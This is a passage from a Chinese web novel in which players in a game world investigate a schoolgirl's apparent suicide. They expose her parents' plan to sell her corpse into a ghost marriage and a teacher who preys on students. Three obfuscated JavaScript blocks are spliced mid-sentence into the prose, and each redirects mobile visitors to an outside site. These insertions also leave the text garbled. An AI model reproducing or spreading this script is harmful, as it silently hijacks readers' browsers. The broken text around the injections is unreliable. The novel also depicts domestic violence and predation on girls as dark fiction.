这都什么和什么……他们法医能拿尸体干什么啊?老胡法医简直不知道说什么,心中不停暗骂小赵那个小兔崽子,怎么这么关键的时候人居然旷工,今晚值班的是他,解剖室的钥匙只有他有,这下大家只能都在这里等着小兔崽子回来。 “方先生您实在多虑了……”老胡法医叹了口气,看了一眼方父旁边的白发方母,刚想让这位女主人劝丈夫两句,但一看她畏畏缩缩,一副不敢忤逆丈夫的表情,就知道多半没戏。 “怎么了?大半夜的谁在喧哗?”拐角处闻声又来了一名警察,李思弦隔老远就听见了这里的吵闹。 “哎呦小李同志,”胡法医赶忙招呼李思弦,“这是上午那起跳楼案被害人的父母,他们来认尸。” “……认尸?现在?”李思弦心中诧异,这对父母明明上午就已经到了市里,但他们宁可先去校门口闹事讨要赔偿,都不肯来警局先看一眼女儿的尸体,怎么现在倒是大晚上想起来认尸了? 想到方映秋的情况,再联想到这对父母的所作所为,李思弦的目光难免冷了下来,但还是公事公办地开口劝阻。 “我们理解被害者家属的心情,但现在不是我们的常规办公时间,不过您二老来了,我们也不会不让您认尸,只是现在我们负责看管尸体的同事……大概去方便了,没有钥匙进不去,您稍微等一会儿。”说着,她又补充了一句,“您先消消气,去接待室坐下喝口茶,我们警局也不是能大吵大闹的地方。” 方母看了一眼李思弦身上穿着正儿八经的警服,有些犯怵,伸手扯了扯方父的袖子,“他爹,人警察同志说了,我们先……” “啪”的一声,方映秋的父亲突然暴怒,一巴掌扇在了妻子的脸上。 再开口间,却是根本毫无前因后果的指责,“我当初就说她该直接嫁人!礼金都已经和人家谈好了,就是你这个女人非要让她去读书!害得我们白亏那五万块钱彩礼,还要给那个赔钱货付学费! “结果现在这个赔钱货花着我们的钱在学校里勾三搭四!不知检点!把我们老方家的脸都丢尽了!你看看村里哪个女人像她那样,哪个娘们儿又像你这样!当初就该让她早早嫁人,现在我们连孙子都抱上了!也不会出这种事!” 大概是没想到有人还能在警局公然动手,李思弦楞了一下,随即怒视方父,走上前将方母扶起,护到身后,“方先生!这里是警局!您刚刚的行为已经涉及到暴力伤害的案件!” “我打我自己的婆娘你们都要管?”方父不屑一顾,嗤笑一声,“什么破地方,还招了个娘们儿做警察,我不和女人讲道理,你,把你们领导叫过来!” 李思弦冷笑,掏出证件,“我是刑警支队副队长李思弦,方先生,您刚刚公然对您妻子使用暴力,涉嫌违反《反家庭暴力法》法条,我们有权对您采取一定措施。” 李思弦话音刚落,方父还没有反应,但被她护在身后的方母却突然跳了起来,“别别别,警官别生气,他爹就是和我闹着玩儿的,哪有那么严重,就是、就是闹这玩儿的……” 李思弦皱眉,但没有说什么重话,只是强调道,“……女士,您脸上还有伤痕。” 方母搓了搓脸上刚刚浮起的掌印,尴尬笑道,“不、不小心摔的,和孩他爹没关系,是我自己粗手笨脚的……” 李思弦叹了口气,还想说些什么,却又被走廊传来的一阵急促奔跑声打断。 “我、我来了我来了,呼……”小赵气喘吁吁地跑来,终于在老胡法医给的时限内赶了回来,“我、我回来了……” “小赵!”老胡气不打一处来,“今晚你值班,跑哪里鬼混去了?擅离职守!你年底奖金别想要了!” “我、我我就是……今天肠胃不太好,出去买了点药,又在药店附近上了个卫生间……”小赵掰扯着早就考虑好的说辞,随后一边掏钥匙开门一边尴尬笑道,“二位就是方同学的父母吧?二老先别急,我先去给方同学整理一下遗容……” 老胡一巴掌呼在小赵后背,压低声音,“整理什么整理,直接让父母认尸。” 这深更半夜地,再不让这老头看尸体,怕是整个警局都要被闹得鸡犬不宁。 “直、直接?”小赵瞬间又出了一层冷汗,好在本身一路跑来就汗流浃背了,不然怕是又要穿帮。 ——直接认尸,他、他来得及把方姐给的道具启动吗! “快点!磨磨蹭蹭什么呢!” 在老胡的催促下,小赵硬着头皮打开了解剖室,按开开关,随后在身后四双各异目光的注释一下,一步步挪到停尸隔间前。 “那、咳咳……那什么,要不大家先、先坐坐……?” 老胡瞪了他一眼,“这里是解剖室。”你让人和尸体坐一起?要不要再喝杯茶聊聊天啊? 小赵没了办法,只能慢吞吞拉开停尸的隔间,随后从口袋里拿出一个正方形的、手掌大小的半透明芯片,趁着在场四人还没发现,眼疾手快地往隔间里的裹尸袋里一扔! “快点啊小赵,磨蹭什么呢?”连李思弦都觉得奇怪了起来——抛开她对这双家长人品上的成见,让他们认尸是应该的,警方也没权利阻拦。 实在没法再拖延时间了,小赵决定伸头缩头都是一刀,只能一咬牙一闭眼,“歘”一下拉开停尸的隔间! 闭眼等待的三秒,简直是他人生中最漫长的黑暗,他几乎没勇气睁开眼睛去看裹尸袋,要是方姐的道具不管用,要是里面是干瘪空挡的,他该怎么和一屋子的人解释……尸体长脚跑了?还和他们去联手破案了?? 短暂地沉默后,方母凄厉的哭喊声响彻整个解剖室:“女儿啊!!我的女儿啊!!!” 小赵睁开眼,“方映秋”的尸体好端端地躺在裹尸袋里。但可能是因为传送得太着急,袋子和身上的衣服有些凌乱,甚至手脚都没怎么摆好,他松了口气,感觉脑部重新活跃起来。 ——方姐给的那个传送门真的有用!! “那、那个……您节哀……”小赵走上前,把方母扶了起来,随即用身体挡住两人的视线,暗暗整理了一下裹尸袋,也让谢柏雅自己调整好“睡姿”,确保没人发现尸体“动”过。 他回头,看向父母,以“案子还有疑点”为由,迫不及待地提出了“解剖”的提议,结果刚说到一半,就被方父暴力打断。 “我不同意!解剖什么解剖!不需要!我们绝不同意!直接把尸体还给我们!我们今天就回老家!” 啥??今天就走?? 小赵的眼睛差点瞪出来,就算真的是自杀案,今天就要带走尸体,时间也太赶了吧! ——而且,方姐可不能和他们一起走啊!她还要和他们一起完成游戏任务破案呢! 小赵干巴巴道:“王、王爸爸,事情还没有定论,方同学的事……很有可能是她被胁迫的,如果能允许我们解剖尸体的话……您、您是她父亲,不想还她一个清白吗?” “这毛头小子又是哪来的?”方父再次暴怒,“清白?哪来的清白?她都有了人家的孩子了!是不是自愿的还重要吗?重要的就是她不知检点勾引别人,有这个下场也是活该!现在她丢了自己的清白!丢了我们整个方家、方家村的脸!” 眼看着他一遍暴怒一边又要拿方母出气,李思弦上前一步拉开方母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493895|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,硬生生用眼神把他瞪了回去。 想到方映秋的处境,李思弦几乎咬牙切齿,“你们虚无缥缈的面子比一条活生生的生命还重要,是吗?比你们这么多年的父女情谊还重要,是吗!?” “老子养了她这么多年,她该回报老子,让她嫁人的时候,非要出去读那个什么狗屁的书。现在还在村外和人搞大了肚子,怀了野种还一分钱拿不到!还带着野种跳了楼!老子对这赔钱货已经仁至义尽了!” 说着他喘了口气,随即一摆手,态度很坚决,“总归,我不同意!” 李思弦已经快气急,眼看着快要忍不住了,老胡法医赶忙拉了她一下,示意她消消气,随即看向方父方母。 “这样啊……方先生,我们理解您一时间悲痛交加,但是尸检绝对不是对死者的不尊重,是为了让我们更好的知道死亡原因,从而查出真相,还死者一个清白。只有你们亲生父母同意了,我们才能对方同学进行进一步尸检。啊,对了,您放心,我们这儿尸检是不会收取额外费用的,不需要您出钱。您只要等一个结果就好了。” 老胡主任年纪大看得多,以为这种人无非就是怕出钱。 果然,这话一出,方父犹豫了一下问道,“那尸检完什么时候可以带走下葬?” 别人一愣,正常家属问的都是尸检完什么时候出结果,他怎么问的是尸检完什么时候下葬? 老胡主任想了想:“您这是想快点带方同学回去入土为安吗?其实不用那么着急……” 他话音未落就被方父打断了,“什么入土为安,他都不配进我老方家的祖坟!也就是……还有人能看得上她,想挑个良辰吉日给换个地,埋去男方家祖坟。” “男方家?什么男方家?” 一直瑟瑟缩缩的方母终于开了口,“我们……我们有个朋友,前儿个家里正好有个大小伙子不幸出了车祸。这不听说,我们家秋秋也……所以想,两个小年轻,到地下也好凑个伴……” “凑个伴?”李思弦几乎要动手打人,只能疯狂在心里默念“我是警察我要遵纪守法”,“是想凑个钱吧?人小姑娘都死了,你们还不肯让她安生!?还要出去配冥婚卖钱!?” “你个臭婆娘懂个屁!”方父又被激怒,“人开了整整25万!当年这赔钱货活着的时候,彩礼都拿不到这么多,现在死了倒是翻了整整五倍!” 说着,他像是想到了拿到钱的好日子,最终还是摆摆手:“不行,还是不要尸检了,我们这儿来的路上已经联系好了殡仪馆,明天凌晨就是个好时辰。现在我们就把尸体带走,今天晚上就烧了,还能赶上时辰。” 说着大手一挥,“别磨磨唧唧了,你们这儿要走什么程序?一会儿我们联系的人就过来拿尸体了。” “走凶案调查的程序。” 另一个急匆匆的脚步从解剖室外传来,解剖室的门再次被打开,伴随着一声低沉的声音,众人向门口看去。 石兴旭也是一副气没喘匀的样子,显然也是匆匆赶来,手里拿着一沓刚刚从打印机里整理出来、甚至还泛着油墨香气与热度的资料。 “我们收集到了有关方映秋同学可能被谋杀的证据,已经递交了重启调查的报告,这是物证资料。” 石兴旭将资料摔到面前的方父身上,随即往后一看,“这位是人……”身后空无一人,“……人呢?” 众人:……谁? “我、我去……石队你、你跑、跑太快了……”喘的上气不接下气的徐婉终于出现在了门口,扶着门框疯狂喘气。 ——她从小赵接到认尸电话起就一路没消停过!!先是和小赵生死时速狂飙闯红灯回警局,又兵分两路去找了石兴旭把谢柏雅的推理和物证全部帮忙归档,终于赶在那俩倒霉父母想要直接定案前,将物证和她这个“人证”全部凑齐,提交案件报告! 这已经是她这副身体的极限了,再让她哪怕多跑一步都要一头栽倒了!! “……这位,是我们的人证,方映秋同学学校的任课老师,徐婉。” 18. 第 18 章 一群人终于闹闹哄哄地走了,小赵是最后一个走了锁门的,离开前他暗暗把方映秋尸体那格往外拉了点,给了一个着力点。 于是,在解剖室重归寂静不过一分钟,尸体的隔间重新“唰”一下从里面被推出来。 谢柏雅从裹尸袋里坐起身,拨弄了一下因为着急的传送,而又有些错位的四肢骨骼。 由于先前就已经对方父方母的德性有了预判,所以他们的卖女操作压根没在她心中激起什么波澜,甚至只觉得“果然如此”。 不过当务之急还是…… 谢柏雅拉开系统面板,终于在忙了一整晚后有机会重新看一眼数据。 【真相进度:70%】 看来,他们的调查方向是对的。只是,为什么才70%? 按照谢柏雅的推断,方映秋的整个案件中,此刻他们掌握的线索和真相进度至少已经达到了90%,刑事层面也已经提交了物证和人证证词,立案申请被批下来只是早晚的事。 难道这其中,还有什么他们没有调查到的隐情? 谢柏雅正思索间,听到解剖室外又再次有脚步声传来,刚想重新躺回柜子里,却突然意识到这脚步声并不像是训练有素的警察的步伐。 “喂?是我,对。”是方映秋父亲的声音! 他特意来到走廊里没人的地方,是在打电话? 谢柏雅凑到门口去听,对方打电话的声音压得很低,又隔了道门,她听得不甚真切,一边脑补一边搜寻信息。 “……对……(会想)办法的,(婚)礼(会如)期举行的……是的是的,让陈(程?曾?)老哥那里等等……哎呦,再通融通融?警察这里说什么也(不肯)让我们把尸体搬回去。就再等一周、不,三天、三天就行!” 看来是在和他们的“冥婚亲家”谈条件,根据刚刚他在解剖室的表现,男方家应该催得很急。 “不不不,我们肯定是诚心的,秋秋能入你们祖坟是八辈子修来的福气……只是这时间……” 谢柏雅:这福气给你要不要啊? “是,但是警察那里……他们一定要解剖……对对,我知道,我们肯定不能让不三不四的人碰你家媳妇儿,解剖一定不同意!我绝对是站在亲家那儿的……我一定会给你们把秋秋干干净净送去!” 那边似乎也沉默了好一会儿,半晌后,就听方父很惊喜道:“还可以这样?好、好好,我知道了,我这就去说!保管准时把秋秋打包送进洞房!” 说完,脚步声匆匆离去,谢柏雅心中一沉,知道恐怕事情没那么简单了。 果不其然,一个小时不到后,解剖室门口传来了开锁声——目前只有一把钥匙在小赵手上,所以谢柏雅没有躺回去藏好。 小赵走进来,神色有些焦急,“方姐!不行,他们还是要把尸体先带走。” “慢慢说,怎么回事?” “刚刚那个老头出去打了个电话,回来就和有高人指点一样,突然就硬气起来了,说什么就算是刑事案件立了案,只要已经是确定了明确死因的,他们也有权利拒绝验尸,将尸体直接领走。” 谢柏雅刚刚不祥的预感就这么应验了,她沉吟了会儿,“……确实是这样,刑法上对于死因明确的案件,确实没有一定要解剖的规定,死者家属有权直接带走遗体。” 更别提方映秋还是未成年,她的父母作为她法定意义上的监护人,在这件事上几乎有压倒性的权利。 “石队还在和他们扯皮,但估计是不太行了,我先来和你说一声,我们现在怎么办啊?” 谢柏雅语调一沉,“直接以妨碍公务、疑似是凶手本人或其庇护为由,直接把这老东西定为嫌疑人……不行,”她说到一半,自己否了自己,“他们有绝对的不在场证明。” 而且,在没有有力证据的情况下,强行把直系亲属定为嫌疑人,对整个执法机构而言都不是一件简单的事——他们是玩家,通关游戏后可以直接离开,但这个世界的原住民却不得不考虑,这么做会不会掀起巨大的舆论。 小赵难得见到连谢柏雅都束手无策的时候,他想到了什么,“哦对,这是石队他们整理的资料,我复印了一份,你看看。” 谢柏雅接过,一目十行地翻过,与他们之前的推论八九不离十,足以证明这案子不单单是自杀那么简单,但要立刻对某人定罪,却还差些证据。 她的目光停留在报告最后一句话:“综上,警方怀疑此次事件与发生在该校的其余自杀案不同,有强烈的凶杀倾向。” 等一下……前两个自杀案! 谢柏雅重新拉开系统面板,副本名字明明白白写着《高校连环自杀案》。 但如果方映秋的案子有疑点,那前两个案子会不会也不是自杀? 那这所谓的真相进度……难道是指,他们不仅要找出方映秋案件的真相,还要找出前两案的真相? “小赵,这学校前两个自杀的案件是你负责的吗?” 小赵调动这具身体的记忆,艰难地回忆,“好像不是……那两案因为很快就被定性成了自杀,连解剖的程序都没走,尸体直接被父母领走火化了。” 尸体已经火化,最近的一个案件也已经过去了将近三个月,想要再重新调查几乎没有可能。 但副本名字是“连环”案,那前两个案件的凶手,或者至少是“罪魁祸首”,应该是同一人。 “你刚刚是不是在医务室拍了病历记录?给我看看。还有,你的系统任务是什么?” 小赵调出手机相册递给谢柏雅,“任务就八个字,捍生者权,替死者言。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502875|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你有什么看法?” 小赵挠了挠头,“……能有什么看法?这不是法医学的名言吗?” 他这个身份就是个法医,所以用这句宋慈名言作为任务也很合理? 谢柏雅只是一页页翻着医务室的病历记录,“那两起案件的时间地点,还有死者姓名你们还记得吗?” “一个是两个月前,一个是半年前,名字……石梦旋、周炫。你这一说,我记得当时好像有过小部分的报道,那两个女生的性格……其实和方映秋很像。” 当然很像,那个人如果是个对女学生下手的惯犯,肯定会挑方映秋这样原生家庭硬伤、性格懦弱好拿捏的目标。 “这里,方映秋出事前三周的周六,她去过一次校医室。” “额,对,但是这怎么了吗?” “之前小混混的证词你也听过,肚子里的孩子也是三周左右。方映秋是个从不轻易出校门的人,她又没有多少真心朋友,不太可能出现和同学结伴出去,又或者是去同学家坐坐。那三周前的周六,她为什么会出现在隔壁小区里?” “她身体不舒服!”小赵恍然大悟,“又需要校医室没有的处方药,所以才出的校门!” 记录册上写得明明白白,三周前的周六,方映秋来过校医室,不过记录册只是用“轻微感冒”四个字概括了一切。 “轻微感冒……需要专门出校门买处方药吗?”小赵又有些疑惑。 谢柏雅不答,继续飞快往前翻着病例,“石梦旋和周炫的名字,也在她们遇害前大概3-5周的时候,出现在过病历本上,同样是周末,也同样是轻微感冒。” 经过她的一再点拨,小赵也终于开了窍:“你的意思是……是那个人用买药的借口,引她们出了校门,然后把她们带到凶手的家里,让他……”他的脸色有点难看,“但她和那些孩子无冤无仇,而且你不是说她也怀着孩子……这怎么下得去手!?” 谢柏雅将手机还给他,语调不见多少变化,“听说过孕妇在路上骗女生回家,供老公发泄后先奸后杀的案子吗?” 人性,向来是最不能直视的东西。 谢柏雅拉开系统面板,果然,【真相进度:90%】。 看来他们离事实已经很近了,但毕竟前两案子时间远了,他们想要从法律程序上得到“真相”已经不可能了。 谢柏雅看着系统任务的最后半句“为死者言”。 斯人已逝,无法挽回,但他们这些活着的人,可以为她们开口。 谢柏雅只是沉默了一瞬,便开了口,“让他们带走尸体。” “什么?”小赵以为自己听错了,“让方映秋父母带走尸体??那我们怎么……” “既然这是游戏……那我们大可以用一些法律以外的手段,就让他自己认罪。”” 19. 第 19 章 第二天凌晨五点半,陈国方准时在自家柔软的大床上醒来。 妻子已经给他做好了早餐,正在小房间睡回笼觉,他简单洗漱吃过早餐后,他换上衣服出门。 工作的学校离自己家步行只有十分钟不到,他可以悠哉哉地避过拥堵的车流,在清晨的好天气里步行上班。 附近的邻居和善地向他打招呼,小区的保安尊敬地向他致意,“陈老师,早”。 老师这个职业,别的不说,至少在社会地位上,一向是属于受人敬仰的那一类。 这也是陈国方一向对外经营的自身形象——年过四十,身体健康、家庭幸福,有贤惠的妻子和懂事的女儿,在受人尊敬的本职岗位上蒸蒸日上,是外人眼中谦和儒雅,好丈夫、好父亲、好老师的模范。 唯一美中不足的是……陈国方踏进校门,看着校园中忙碌奔跑的男学生,心中叹了口气。 家里黄脸婆的肚子不争气,没能给他生一个男孩。 不过这很快也不会是问题了,这些年他在外面也“努力”不少,虽然好几个也和他妻子一样,不是生不出,就是做了B超只怀了女孩。 但总算还有个争气的,他这么多年努力也终于开花结果。 他看向教学楼下和他擦肩而过的校医刘阿娣——平心而论,这个女人姿色平平,绝不是他喜欢的那款,但奈何实在太过百依百顺,把他伺候得舒舒服服的,他才一直和她保持关系。 没想到她为了给自己留个后代,竟然找了小医院做试管,还专门挑选了男胎,这才让他真正将她放在了心上。 不过就算这样,这女人最近也越来越不安分了,竟然闹着要他离婚。 离婚当然是不可能的,他都已经打点好了一切,就等着男胎一落地,说服自己的妻子,上自家户口,就该和外面的女人先断一断了。 不过,为了稳住刘阿娣,他也是哄了不少违心话的。 他走进教室,闹哄哄的班级顿时安安静静,站起身鞠躬:“老师好。” 他对这样高高在上的掌控感痴迷数十年,于是走上讲台,微微一笑,“同学们好,上课。” 大课间的时候,他看着迎面走来的王胜梅,如常地打招呼:“王老师,早。” 王胜梅却来势汹汹,将一张申请表摔在他身上,“陈主任,为什么不通过这堂课的审批?” 申请表跌落在地,陈国方微微一笑,弯腰把这张抬头写着“女性生理健康卫生教育及普及”的申请表拿起来,细心折好,随手扔在了一旁的垃圾桶里。 “王老师,我们是正经学校,怎么能上这种不正经的课?” “生理健康怎么算不正经的课了?生物课没上过吗?”王老师怒视。 “既然生物课都上过了,为什么还要单独开一门课出来?”陈老师悠哉哉反驳。 “这门课是专门针对女生的,这个年龄段的女孩子正处在发育的关键时期,要学会正确地对待和保护自己……” “那不行,学校孩子有男有女,你让男孩子从小听这些女孩子的东西,万一学坏了怎么办?” “正常的人体生理学知识为什么会学坏?你觉得男孩子这么容易被教坏,那就上这堂课的时候请他们出去!” “那更不行,”陈老师一挥手,“哪有只有一堂课不给男的上只给女的上的道理?你当心家长来告你区别对待,歧视孩子。” “那就……” 铃声准时响起,两人的对话被迫中断,陈国方依旧笑得一派儒雅,以获胜者的姿态优雅退场,没走两步,就听身后传来一声冷笑。 “你不同意开这门课,到底是怕女孩子学不会,还是女孩子学会了,就便宜不了你们了?” 陈国方心头一颤,脚步顿住,回头看向王胜梅,“王老师,我听不懂你在说什么。” “石梦旋、周炫,还有方映秋……她们真的是自杀吗?”王老师的语调嘲讽而冰冷。 “案子已经尘埃落定,连受害者家长都没有提出异议,王老师以什么身份质疑?” “以为人师表的身份。”王胜梅向前一步,“一日为师,终身为父,他们当过我一天的学生,就是我的孩子——他们的家长不追查,我也会追查到底。” 这句话让陈国方心中惴惴不安起来,他一直知道王胜梅对那几个女生的死有疑虑,也知道她一直在调查…… 但前两个案子都已经过去那么久,尸体都已经烧成灰了,她还能耐他如何? 倒是方映秋这个案子……昨天听方家那个爸爸报信,说警察现在想要当做刑事案件立案? 那确实有点麻烦…… 不过,还好他反应得快,他老家陈家村里,正好有个大小伙子年纪轻轻就去了,他家二老可怜他这辈子都没尝过女人的滋味,想要在地下找个人伺候自家儿子,他这一牵线,两家一拍即合。 等今晚吉时一到,办完了仪式后,把尸体一烧,也就万事大吉了。 等到今晚,他就安全了——希望不要再出什么幺蛾子了。 怀着这个念头,陈国方颇是惴惴不安地熬过了下午的课程,今晚不是他值班看晚自习,他到点就能下班。 谁曾想,他不详的念头居然成真了,刚打完最后一节课的下课铃,他还没来得及走到校门口,手机就响了,他一看,是校长的,赶忙接起。 “校……” “你个蠢货!”劈头盖脸一通臭骂给他骂愣了,随即压了一整个下午的怒火“蹭”地窜了上来。 这老家伙有什么好狂的!不就是娶了个好老婆才能压自己一头吗?真当自己多干净似的,要不是他…… 但明面上,对着自己的上司,他还是压下怒火,颇是尊敬道,“是,是,方映秋那件事是我处理得不漂亮……您消消气。” “这是不漂亮吗?这**已经是人尽皆知了!” 一贯戴着面具的男人居然都脏口骂起人来,但他话中的意思更让陈国方吃惊,“怎么会人尽皆知?学校这边我明明压下去了……” “压个屁!都已经上热搜了!” ……热搜? 他一向不喜欢玩年轻人的软件,更别提在校园里的时间老师也不常看手机,等他摸索着打开社交平台时,一眼就看到一个标着【爆】的几个热搜。 最高的那个,标题让他背后冷汗直接流了下来。 【高校女生跳楼案恐另有隐情,当事人生前抨击学校视频流出】 点进去一看,居然就是那天早上方映秋在早会上,那番大言不惭的话! 有人录下了那天她晨会上的“检讨”!还在这个节骨眼上把视频发到了网上! 是谁!?谁会干这种事?是针对学校?还是针对他?还是只是无知的学生单纯想蹭热度…… 不、不对! 他点开视频细细看了一会儿,那个拍摄角度,拍摄者当天站的不是学生的方阵,站的是教师队伍的方向! 难道是王胜梅那个老巫婆?她想通过这种手段陷害他? 不,他再次否认了自己,王胜梅当时就站在自己旁边,如果她有拍照的动作,自己一定会察觉。 而且那个老巫婆一心只想着搞教育,冥顽不灵的脑子根本搞不出这种弯弯道道的。 到底是谁…… 不,比起是谁,现在更该关心的是,这件事该怎么处理? 其实要说问题有多大倒也不至于……方映秋在视频里也只是说了所谓的“校园霸凌”,这种事哪个学校没有?不过就是小打小闹罢了,不认真报警的情况下,根本不会有人下来查,更别提现在方映秋已经死了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544398|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但麻烦就麻烦在,她死了。 他现在只想把这件事安安稳稳地定性为自杀,平日里这小姑娘的性格大家都看在眼里,不会对她自杀有什么疑问,但这个视频一出来…… 果不其然,他往下一翻,下面的评论已经炸锅了。 “妹妹干得漂亮!!就该把这种垃圾学校公之于众!!” “这个妹妹这么有骨气有血性!我不信她是自杀!!” “对啊对啊,前一天还在讲台上说这样的话,晚上就自杀了?我不信!这里面一定有阴谋!” “我看不会是校领导气不过被妹妹撕破了真面孔,才暗地里下手的吧?妹妹一定是被自杀!” “上面几个还没成年吧?哪家成年人会因为被未成年说两句就杀人啊,而且现在警方调查结果还没出来,安安静静等结果不好吗?” “那就说明学校肯定还有更多见不得人的勾当呗?不是有句话吗?阳光下看到一只蟑螂的时候,暗地里都已经繁衍一窝了!” “无凭无据就造谣学校不好吧?不怕被当枪使吗?我选择等通告!” 陈国方松了一口气,看来下面也有帮他们学校说话的,但比重很少,没有那些跟风喷的人多。 但现在最麻烦的不是什么舆论,而是……这视频一出,“方映秋自杀”的可信度就大大降低了。 虽然不一定能马上查到他,但她肚子里的孩子…… 不行,一定要尽快火化! 陈国方走出校门,一边往家里赶一边给老家的亲戚打电话,让他们快点举行仪式,早点烧了尸体以绝后患。 ——要不是路程离得太远了,他现在恨不得直接回老家监工!仪式走完就亲手烧了那个祸害的尸体! “陈、陈老师……”一个文弱的声音从他身后响起,他回头一看,是语文组另一名任课老师,徐婉。 这个徐老师他没什么特殊印象,平时虽然和王胜梅走得很近,但一向很安分守己,工作也算不错,他对她印象还不错。 “怎么了,徐老师?” “热搜您看了吗?现在校门口很多记者等着采访,您又是教导主任,他们肯定堵您,您可千万别走大路!” 陈国方心头一惊,怎么把这个忘了?那群记者看到这种新闻,还不像苍蝇闻了垃圾一样蜂拥而至! “您要想离校的话绕个路吧,这里这条小道他们不熟,没有人蹲着。”说着,徐婉便超前引路。 陈国方点头,“谢谢。” 有徐婉在身边,他便不方便打电话了,只能编辑短信,但走了一会儿,他突然意识到哪里不对。 “徐老师,这条小路好像……” 他话还没说完,“砰”得一声,陈国方只觉得后脑一疼,随即眼前一黑,“噗通”一声摔倒在路边的臭水沟里。 意识模糊的最后,他看到刚刚还温温柔柔的“徐婉老师”瞬间变脸,嫌弃与厌恶的情绪克制不住地从眼中流出,看着他的眼神仿佛在看一坨垃圾。 徐婉走到陈国方手机掉落的地上,捡起看了看,“呵,陈国方还催着让快点火化呢,看来也是急了。” 又一个年轻的男人从身后走来,他手上拿着那根敲了自己的闷棍,看向徐婉,“他当然急了,视频都满天飞了……好了,我要准备把他带走了。” 带走?!这两个人要把自己带去哪里?! 他拼命想睁开眼睛,但剧痛让他意识模糊,只能听到最后零星几个字。 “……村?但不是离这里……要开十个小时呢……怎么去?” “你忘啦!……有道具!现在就等……我们就发动……” 最后,两人不约而同看向趴死在地的陈国方,目中的笑意淡了下来。 “现在,也该让他感同身受一下受害者的滋味了。” 20. 第 20 章 陈国方是从一片刺耳的唢呐声中醒来的。他是在农村长大的,熟悉这种红白喜事的专用乐器,刺耳、喧闹,却能表达出截然相反的两种情绪——红事时热闹喜庆,白事时极尽哀荣。 他小时候就曾想过,那若是将两种截然的情绪结合的乐声会是什么样的?现在他听到了。 冥婚的唢呐曲有着喜事的调调,却尖锐异常,声调转化间刺耳突兀,仿佛新娘凄厉的哭啸。 “夫——妻——对——拜——” 新娘披盖下的脸色惨白透明,唇色却娇艳如血,被一双双无形的手压着,与那看不清面容的新郎拜了天地,在空无一人的背阴喜堂中,热热闹闹地簇拥进洞房。 阴风吹过,红色的盖头滑落,新娘露出了尸体的真容,从高楼摔下的面容扭曲而碎裂,被勉强拼合的五官倏地落下,下一秒,血红的双眼睁了开来。 鲜红的血泪落下。 “啊——!!” 陈国方在一片惊惧中睁开眼,眼前还残留着刚刚的噩梦中那具尸体的可怖血色。 还好、还好只是梦…… 这样的想法刚刚冒头,他却突然发现,自己似乎不在自己家中睡着,入目是一副木床的床顶,红色的囍字贴在床尾,白烛燃在古旧的破屋里,在满屋的红色布置中显得格外森冷。 这、这是冥婚的婚房! 陈国方脑中“嗡”得一声,下意识坐起身,却摸到了“婚床”上睡在他旁边的“人手”。 那是一双只剩白骨的手!! “啊——!!”他几乎连滚带爬地翻下床,床上的喜被连带着卷下床,让他看清了“新郎”的真面目。 正是他给方映秋父母介绍的那位“早逝的晚辈亲戚”! 这一切都不是梦!这场冥婚是真实的!甚至是他一手促成又操办的!! 那、那新娘呢? 他在惊恐中,缓缓低头,视线寸寸下挪,看到了自己身上披着的红色“喜服”。 ——这场冥婚的新娘,从方映秋,换成了陈国方自己。 “不、不!” 陈国方伸手扯下身上的喜服,好在这只是在他原本的衣服外面披了一层披挂,轻易地扯下披挂后,他一路往门口狂奔,几乎是扑到门口,想要打开门,却发现门被从外面反锁! “开门、开门!放我出去!!” 他边嚎叫着边用身体撞门,但门外像是被什么东西堵住, “砰”地一声轻响,不是他撞门的声音,而是从身后的屋中传来。 但、但屋子里明明、明明除了他之外没有活人了!! 陈国方僵硬地转过头,发现喜堂上供奉的两个牌位,新娘位置的牌位掉落下来,而且直接跨过了将近整个屋子的距离,直接掉落在了他的脚边!! “啊!!!”陈国方下意识想后退,身后却只有锁死的门板,退无可退! 他颤抖着背靠房门,咽了咽口水,实在不敢用手,只能颤颤巍巍地伸出脚,想要把那块诡异的牌位踹远点,却只轻轻一碰,那牌位便突然翻了过来。 红色的墓碑字体猝不及防地刻入眼帘,“新娘”牌位上的名字清楚篆着三个大字。 ——陈、国、方! “嗬……嗬……” 惊恐的气声从陈国方的气管中传出,他连惊叫都已经无法发出,瞪大的双目充满血丝,看上去比死不瞑目的尸体更加可怕。 “陈、老、师……” 更为惊惧的是,在他看清牌位墓碑上的字迹的同一时刻,幽幽的声音从房间外传来。 “谁、谁!!” 门口、门口已经不安全了!! 既然打不开门,门外又传来了声音,刚刚的“牌位”还追着他掉到了这里,陈国方下意识地远离门口这个“危险”的地方,四肢趴地毫无形象地往房间里面爬去。 “陈、老、师……”那声音飘飘忽忽,似近似远,似泣似笑,非人非鬼,根本分辨不出从何响起。 不、不对,声音在、在房间里!? 